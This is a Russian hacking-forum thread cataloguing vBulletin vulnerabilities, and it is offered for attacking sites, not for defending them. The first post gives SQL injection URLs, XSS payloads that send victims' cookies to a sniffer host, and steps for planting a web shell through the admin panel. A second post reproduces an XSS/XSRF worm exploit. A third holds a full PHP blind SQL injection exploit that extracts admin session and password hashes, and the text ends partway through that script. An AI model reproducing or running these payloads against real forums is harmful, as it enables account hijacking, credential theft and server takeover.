1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Уязвимости vbulletin

Тема в разделе "Уязвимости популярных CMS", создана пользователем rijy, 29 авг 2006.

  1. rijy
    rijy Админ
    Симпатии:
    175
    Рассмотрим уязвимости трёх веток воблы: 2.*.*, 3.0.* и 3.1.*.


    Узнаём версию форума.
    В папке /clientscript/ находятся несколко js и css файлов в которых можно посмотреть точную версию форума.

    Код:
    vbulletin_ajax_threadslist.js
    vbulletin_ajax_namesugg.js
    vbulletin_attachment.js
    vbulletin_cpcolorpicker.js
    vbulletin_editor.js
    Пример:
    www.xz.сom/forumpath/clientscript/vbulletin_editor.css



    vBulletin:

    2.2.* - 2.2.4 - Выполнение произвольного кода
    Описание уязвимости: уязвимость в vBulletin's Calendar PHP сценарии (calender.php) позволяет удаленному атакующему выполнять произвольный код в контексте пользователя 'nobody'.

    Exploit: http://www.securitylab.ru/vulnerability/source/207147.php


    2.3.* - SQL injection
    Описанте уязвимости: уязвимость в проверке правильности входных данных в 'calendar.php'. Удаленный пользователь может внедрить произвольные SQL команды.
    Пример:
    Код:
    www.xz.сom/forumpath/calendar.php?s=&action=edit&eventid=14 union (SELECT allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events WHERE eventid = 14) order by eventdate

    3.0-3.0.4 - Выполнение произвольных команд
    Описание уязвимости: уязвимость существует в сценарии forumdisplay.php из-за некорректной обработки глобальных переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на системе.
    Пример:

    3.0.3–3.0.9 XSS
    Описание уязвимости: уязвимость существует при обработке входных данных в поле Статус. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
    Примечание: менять свой статус по умолчанию может только администрация, начиная от группы Модераторы.
    Пример:
    Код:
    <body onLoad=img = new Image(); img.src = "http:// путь к снифаку"+document.cookie;>
    3.0.9 and 3.5.4 - XSS
    Описание уязвимости: звимость существует из-за недостаточной обработки входных данных в параметре posthash в сценарии newthread.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    Пример:
    3.5.2 - XSS
    Описание уязвимости: Уязвимость существует при обработке входных данных в поле "title" в сценарии "calendar.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    Пример:
    Код:
    TITLE:--------->Test<script>img = new Image(); img.src = "<A href="http://путь_к_снифаку"+document.cookie;</script">http://путь_к_снифаку"+document.cookie;</script>
            BODY:---------->No matter
            OTHER OPTIONS:->No matter
    Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "<A href="http://путь_к_снифаку"+document.cookie;</script">http://путь_к_снифаку"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie.


    3.5.3 - XSS
    Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в поле "Email Address" в модуле "Edit Email & Password". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    Примечание: удачная эксплуатация уязвимости возможна при включенных опциях "Enable Email features" и "Allow Users to Email Other Member".
    Пример:
    Код:
    www.xz.сom/forumpath/profile.php?do=editpassword
            pass:your pass
            email: vashe@milo.com”><script>img = new Image(); img.src = "<A href="http://путь_к_снифаку"+document.cookie;</script>.nomatt">http://путь_к_снифаку"+document.cookie;</script>.nomatt
            Note About lenght limitation 
            ****
            forum/profile.php?do=editoptions
            Receive Email from Other Members=yes
            ****
            www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}
    
    Пояснение: заходим в профиль и в поле email прописываем vashe@milo.com”><script>img = new Image(); img.src = "<A href="http://путь_к_снифаку"+document.cookie;</script>.nomatt">http://путь_к_снифаку"+document.cookie;</script>.nomatt. Cохраняем. Потом ставим в опциях свой емайл видимым для всех. Теперь втравливаем кому нибудь ссылку www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}, где {your id} ваш id. Cookie уйдут на снифер.


    3.5.4 - Дамп БД
    Описание уязвимости: уязвимость существует из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'. Удаленный пользователь может с помощью специально сформированного URL сделать дамп базы данных приложения.
    Пример:
    www.xz.com/forumpath/install/upgrade_301.php?step=SomeWord

    3.5.4 - XSS
    Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре url сценария inlinemod.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    Пример:


    Уязвимости в модулях vBulletin.

    vBug Tracker 3.5.1 - XSS
    Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "sortorder" сценария vbugs.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    Пример:
    Код:
    www.xz.сom/forumpath/vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Eimg = new Image(); img.src = "<A href="http://путь_к_снифаку"+document.cookie;%3c/script%3E">http://путь_к_снифаку"+document.cookie;%3C/script%3E

    ImpEx 1.74 - PHP-инклюдинг и выполнение команд
    Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "systempath" в сценарии ImpExData.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
    Пример:
    Exploit: http://www.securitylab.ru/vulnerability/source/264410.php


    Шелл в vBulletin.
    Разберёмся как залить шелл из админки воблы.

    Способ заливки шелла в vBulletin 2.*.* и 3.0.*
    1. Заходим в админку.
    2. Смайлы.
    3. Загрузить смайл.
    4. Грузим наш шелл. (папка по умолчанию /images/smilies)
    5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
    Примечание: сработает не везде.


    Способ заливки шелла в vBulletin 3.5.*.
    1. Заходим в админку.
    2. Система модулей.
    3. Добавить новый модуль.
    Продукт: ставим vBulletin
    Месторасположение: Vbulletin: Справка - faq_complete
    Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
    4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда



    При использовании XSS c указанным в теме снифером надо завести себе свой снифер -). Это можно сделать тут: http://antichat.ru/sniffer или тут: http://s.netsec.ru.

    by antichat.ru​
     
    29 авг 2006
  2. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit

    Код:
    /* -----------------------------
     * Author      = Mx
     * Title       = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
     * Software    = vBulletin
     * Addon       = Visitor Messages
     * Version     = 3.7.3
     * Attack      = XSS/XSRF
    
     - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
     + with the visitor messages addon (a clone of a social network wall/comment area).
     - When posting XSS, the data is run through htmlentities(); before being displayed
     + to the general public/forum members. However, when posting a new message,
     - a new notification is sent to the commentee. The commenter posts a XSS vector such as
     + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
     - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
     + and I have included an example worm that makes the user post a new thread with your own
     - specified subject and message.
    
     * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
     * of the attack method.
     * ----------------------------- */
    
    function getNewHttpObject() {
    var objType = false;
    try {
    objType = new ActiveXObject('Msxml2.XMLHTTP');
    } catch(e) {
    try {
    objType = new ActiveXObject('Microsoft.XMLHTTP');
    } catch(e) {
    objType = new XMLHttpRequest();
    }
    }
    return objType;
    }
    
    function getAXAH(url){
    
    var theHttpRequest = getNewHttpObject();
    theHttpRequest.onreadystatechange = function() {processAXAH();};
    theHttpRequest.open("GET", url);
    theHttpRequest.send(false);
    
    function processAXAH(){
    if (theHttpRequest.readyState == 4) {
    if (theHttpRequest.status == 200) {
    
    var str = theHttpRequest.responseText;
    var secloc = str.indexOf('var SECURITYTOKEN = "');
    var sectok = str.substring(21+secloc,secloc+51+21);
    
    var posloc = str.indexOf('posthash" value="');
    var postok = str.substring(17+posloc,posloc+32+17);
    
    var subject = 'subject text';
    var message = 'message text';
    
    postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');
    
    }
    }
    }
    }
    
    
    
    
    
    
    
    
    function postAXAH(url, params) {
    var theHttpRequest = getNewHttpObject();
                   
    theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};
    theHttpRequest.open("POST", url);
    theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');
    theHttpRequest.send(params);
    
    function processAXAHr(elementContainer){
    if (theHttpRequest.readyState == 4) {
    if (theHttpRequest.status == 200) {
    
    }
    }
    }
    }
    
    
    getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');
    document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');
    
    # milw0rm.com [2008-11-20]
    http://milw0rm.com/exploits/7174
     
    21 ноя 2008
    2 пользователям это понравилось.
  3. BlagJack
    BlagJack Продвинутый
    Симпатии:
    15
    vBulletin <= 3.6.4 Remote SQL Injection Exploit

    PHP:
    <?php
    print_r
    ('
    -----------------------------------------------------------------------------
    vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege
    escalation by session hijacking exploit
    by rgod
    mail: retrog at alice dot it
    site: http://retrogod.altervista.org

    Works regardless of php.ini settings, you need a Super Moderator account
    to copy posts among threads, to be launched while admin is logged in to
    the control panel, this will give you full admin privileges
    note: this will flood the forum with empty threads even!
    -----------------------------------------------------------------------------
    '
    );

    if (
    $argc<7) {
    print_r('
    -----------------------------------------------------------------------------
    Usage: php '
    .$argv[0].' host path user pass forumid postid OPTIONS
    host:      target server (ip/hostname)
    path:      path to vbulletin
    user/pass: you need a moderator account
    forumid:   existing forum
    postid:    existing post
    Options:
     -p[port]:    specify a port other than 80
     -P[ip:port]: specify a proxy
    Example:
    php '
    .$argv[0].' localhost /vbulletin/ rgod mypass 2 121 -P1.1.1.1:80
    php '
    .$argv[0].' localhost /vbulletin/ rgod mypass 1 143 -p81
    -----------------------------------------------------------------------------
    '
    );
    die;
    }
    /*
    vulnerable code in inlinemod.php near lines 185-209:

    ...
        case 'docopyposts':

            $vbulletin->input->clean_array_gpc('p', array(
                'postids' => TYPE_STR,
            ));

            $postids = explode(',', $vbulletin->GPC['postids']);
            foreach ($postids AS $index => $postid)
            {
                if ($postids["$index"] != intval($postid))
                {
                    unset($postids["$index"]);
                }
            }

            if (empty($postids))
            {
                eval(standard_error(fetch_error('no_applicable_posts_selected')));
            }

            if (count($postids) > $postlimit)
            {
                eval(standard_error(fetch_error('you_are_limited_to_working_with_x_posts', $postlimit)));
            }
            break;
    ...
    when an element of $postids array is not an integer, it fails to unset() the proper value.

    An example:

    <?php
    $foo[1]="99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*";
    $foo[2]=intval($foo[1]);

    echo $foo[1]."\n";
    echo $foo[2]."\n";
    if ($foo[1] != $foo[2])
    {
     echo "they are different";
    }
    else
    {
     echo "they match!";
    }
    ?>

    output:

    99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*
    99999
    they match!

    this because when php tries to comparise a string with an integer
    it tries to convert the string in its integer value, it chooses the first integer chars
    of the string itself!
    so unset() never run!

    the result is sql injection near lines 3792-3800:

    ...
        $posts = $db->query_read_slave("
            SELECT post.postid, post.threadid, post.visible, post.title, post.username, post.dateline, post.parentid, post.userid,
                thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid,
                thread.sticky, thread.open, thread.iconid
            FROM " . TABLE_PREFIX . "post AS post
            LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
            WHERE postid IN (" . implode(',', $postids) . ")
            ORDER BY post.dateline
        ");
    ...

    this exploit extract various session hashes from the database
    to authenticate as admin and to change the privileges of a registered user
    I could not find a way to see results inside html, so this asks true/false
    questions to the database, copying posts around threads

    possible patch, replace:
    foreach ($postids AS $index => $postid)
            {
                   if ($postids["$index"] != intval($postid))
                {
                    unset($postids["$index"]);
                }
            }

    with:

    foreach ($postids AS $index => $postid)
            {
               $postids["$index"]=(int)$postids["$index"];
            }


    and, some line before:

    foreach ($threadids AS $index => $threadid)
            {
                if ($threadids["$index"] != intval($threadid))
                {
                    unset($threadids["$index"]);
                }
            }

    with:

    foreach ($threadids AS $index => $threadid)
            {
               $threadids["$index"]=(int)$threadids["$index"];
            }


    vendor was contacted by email form...
    */

    error_reporting(7);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);

    function 
    quick_dump($string)
    {
      
    $result='';$exa='';$cont=0;
      for (
    $i=0$i<=strlen($string)-1$i++)
      {
       if ((
    ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
       {
    $result.="  .";}
       else
       {
    $result.="  ".$string[$i];}
       if (
    strlen(dechex(ord($string[$i])))==2)
       {
    $exa.=" ".dechex(ord($string[$i]));}
       else
       {
    $exa.=" 0".dechex(ord($string[$i]));}
       
    $cont++;if ($cont==15) {$cont=0$result.="\r\n"$exa.="\r\n";}
      }
     return 
    $exa."\r\n".$result;
    }
    $proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
    function 
    sendpacketii($packet)
    {
      global 
    $proxy$host$port$html$proxy_regex;
      if (
    $proxy=='') {
        
    $ock=fsockopen(gethostbyname($host),$port);
        if (!
    $ock) {
          echo 
    'No response from '.$host.':'.$port; die;
        }
      }
      else {
        
    $c preg_match($proxy_regex,$proxy);
        if (!
    $c) {
          echo 
    'Not a valid proxy...';die;
        }
        
    $parts=explode(':',$proxy);
        echo 
    "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
        
    $ock=fsockopen($parts[0],$parts[1]);
        if (!
    $ock) {
          echo 
    'No response from proxy...';die;
        }
      }
      
    fputs($ock,$packet);
      if (
    $proxy=='') {
        
    $html='';
        while (!
    feof($ock)) {
          
    $html.=fgets($ock);
        }
      }
      else {
        
    $html='';
        while ((!
    feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
          
    $html.=fread($ock,1);
        }
      }
      
    fclose($ock);
    }

    $host=$argv[1];
    $path=$argv[2];
    $user=$argv[3];
    $pass=md5($argv[4]);
    $forumid=(int)$argv[5];
    $existing_post=(int)$argv[6];

    $port=80;
    $proxy="";
    for (
    $i=3$i<$argc$i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if ((
    $temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
    if (
    $temp=="-p")
    {
      
    $port=str_replace("-p","",$argv[$i]);
    }
    if (
    $temp=="-P")
    {
      
    $proxy=str_replace("-P","",$argv[$i]);
    }
    }
    if ((
    $path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if (
    $proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    $data="vb_login_username=$user";
    $data.="&vb_login_password=";
    $data.="&s=";
    $data.="&do=login";
    $data.="&vb_login_md5password=$pass";
    $data.="&vb_login_md5password_utf=$pass";
    $packet="POST ".$p."login.php HTTP/1.0\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
    $packet.="Referer: http://".$host.$path."login.php\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Pragma: no-cache\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    $cookie="";
    $temp=explode("Set-Cookie: ",$html);
    for (
    $i=1$i<count($temp); $i++)
    {
      
    $temp2=explode(" ",$temp[$i]);
      
    $cookie.=" ".trim($temp2[0]);
    }
    //echo "your cookie -> ".$cookie."\n\n";
    if (!eregi("sessionhash",$cookie)){die("failed to login...");}$temp=str_replace(" ","",$cookie);$temp=str_replace("sessionhash","",$temp);
    $temp=str_replace("lastvisit","",$temp);$temp=str_replace("lastactivity","",$temp);$temp=explode("=",$temp);$temp=explode(";",$temp[1]);
    $cookie_prefix=trim($temp[1]);echo "cookie prefix -> ".$cookie_prefix."\n";

    $chars[0]=0;//null
    $chars=array_merge($chars,range(48,57)); //numbers

    $j=1;$uid="";
    echo 
    "admim user id -> ";
    while (!
    strstr($uid,chr(0)))
    {
        for (
    $i=0$i<=255$i++)
        {
            if (
    in_array($i,$chars))
            {
              
    $data ="s=";
              
    $data.="&do=docopyposts";
              
    $data.="&destforumid=$forumid";
              
    $data.="&title=suntzu";
              
    $data.="&forumid=$forumid";
              
    $data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/usergroupid=6/**/LIMIT/**/1/*";
              
    $packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: it\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Content-Length: ".strlen($data)."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    $packet.=$data;
              
    sendpacketii($packet);
              
    $temp=explode("showthread.php?t=",$html);
              
    $temp2=explode("\n",$temp[1]);
              
    $thread=(int)$temp2[0];

              
    $packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: it\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    sendpacketii($packet);
              if (
    eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
              if (
    eregi("join date",$html)) {$uid.=chr($i);echo chr($i); sleep(1); break;}
            }
            if (
    $i==255) {
                die(
    "\nExploit failed...");
            }
        }
    $j++;
    }
    if (
    trim($uid)==""){die("\nExploit failed...");}else{echo "\nvulnerable!";}
    $uid=intval($uid);

    function 
    my_encode($my_string)
    {
      
    $encoded="CHAR(";
      for (
    $k=0$k<=strlen($my_string)-1$k++)
      {
        
    $encoded.=ord($my_string[$k]);
        if (
    $k==strlen($my_string)-1) {$encoded.=")";}
        else {
    $encoded.=",";}
      }
      return 
    $encoded;
    }


    $j=1;$my_uid="";
    echo 
    "\nyour user id -> ";
    while (!
    strstr($my_uid,chr(0)))
    {
        for (
    $i=0$i<=255$i++)
        {
            if (
    in_array($i,$chars))
            {
              
    $data ="s=";
              
    $data.="&do=docopyposts";
              
    $data.="&destforumid=$forumid";
              
    $data.="&title=suntzu";
              
    $data.="&forumid=$forumid";
              
    $data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/username=".my_encode($user)."/**/LIMIT/**/1/*";
              
    $packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: it\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Content-Length: ".strlen($data)."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    $packet.=$data;
              
    sendpacketii($packet);
              if (
    eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
              
    $temp=explode("showthread.php?t=",$html);
              
    $temp2=explode("\n",$temp[1]);
              
    $thread=(int)$temp2[0];

              
    $packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: it\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    sendpacketii($packet);
              if (
    eregi("join date",$html)) {$my_uid.=chr($i);echo chr($i); sleep(1); break;}
            }
            if (
    $i==255) {
                die(
    "\nExploit failed...");
            }
        }
    $j++;
    }
    $my_uid=intval($my_uid);

    $chars[0]=0;//null
    $chars=array_merge($chars,range(48,57)); //numbers
    $chars=array_merge($chars,range(97,102));//a-f letters
    $j=1;$sess_hash="";
    echo 
    "\nsession hash -> ";
    while (!
    strstr($sess_hash,chr(0)))
    {
        for (
    $i=0$i<=255$i++)
        {
          if (
    in_array($i,$chars))
            {
              
    $data ="s=";
              
    $data.="&do=docopyposts";
              
    $data.="&destforumid=$forumid";
              
    $data.="&title=suntzu";
              
    $data.="&forumid=$forumid";
              
    $data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(sessionhash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/session/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
              
    $packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: it\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Content-Length: ".strlen($data)."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    $packet.=$data;
              
    sendpacketii($packet);
              if (
    eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
              
    $temp=explode("showthread.php?t=",$html);
              
    $temp2=explode("\n",$temp[1]);
              
    $thread=(int)$temp2[0];

              
    $packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: it\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    sendpacketii($packet);
              if (
    eregi("join date",$html)) {$sess_hash.=chr($i);echo chr($i); sleep(1); break;}
            }
            if (
    $i==255) {
                die(
    "\nExploit failed...");
            }
        }
    $j++;
    }

    $j=1;$my_hash="";
    echo 
    "\nuser password hash -> ";
    while (!
    strstr($my_hash,chr(0)))
    {
        for (
    $i=0$i<=255$i++)
        {
          if (
    in_array($i,$chars))
            {
              
    $data ="s=";
              
    $data.="&do=docopyposts";
              
    $data.="&destforumid=$forumid";
              
    $data.="&title=suntzu";
              
    $data.="&forumid=$forumid";
              
    $data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
              
    $packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: en\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Content-Length: ".strlen($data)."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    $packet.=$data;
              
    sendpacketii($packet);
              if (
    eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
              
    $temp=explode("showthread.php?t=",$html);
              
    $temp2=explode("\n",$temp[1]);
              
    $thread=(int)$temp2[0];

              
    $packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: en\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    sendpacketii($packet);
              if (
    eregi("join date",$html)) {$my_hash.=chr($i);echo chr($i); sleep(1); break;}
            }
            if (
    $i==255) {
                die(
    "\nExploit failed...");
            }
        }
    $j++;
    }

    $j=1;$cpsess_hash="";
    echo 
    "\ncp session hash -> ";
    while (!
    strstr($cpsess_hash,chr(0)))
    {
        for (
    $i=0$i<=255$i++)
        {
          if (
    in_array($i,$chars))
            {
              
    $data ="s=";
              
    $data.="&do=docopyposts";
              
    $data.="&destforumid=$forumid";
              
    $data.="&title=suntzu";
              
    $data.="&forumid=$forumid";
              
    $data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(hash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cpsession/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
              
    $packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
              
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
              
    $packet.="Referer: http://".$host.$path."profile.php\r\n";
              
    $packet.="Accept-Language: en\r\n";
              
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
              
    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
              
    $packet.="Host: ".$host."\r\n";
              
    $packet.="Content-Length: ".strlen($data)."\r\n";
              
    $packet.="Pragma: no-cache\r\n";
              
    $packet.="Cookie: ".$cookie."; \r\n";
              
    $packet.="Connection: Close\r\n\r\n";
              
    $packet.=$data;
              
    sendpacketii($packet);
              
    $temp=explode("showthread.php?t=",$html);
              
    $temp2=explode("\n",$temp[1]);
              
    $thread=(int)$temp2[0];

              
    $packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
              
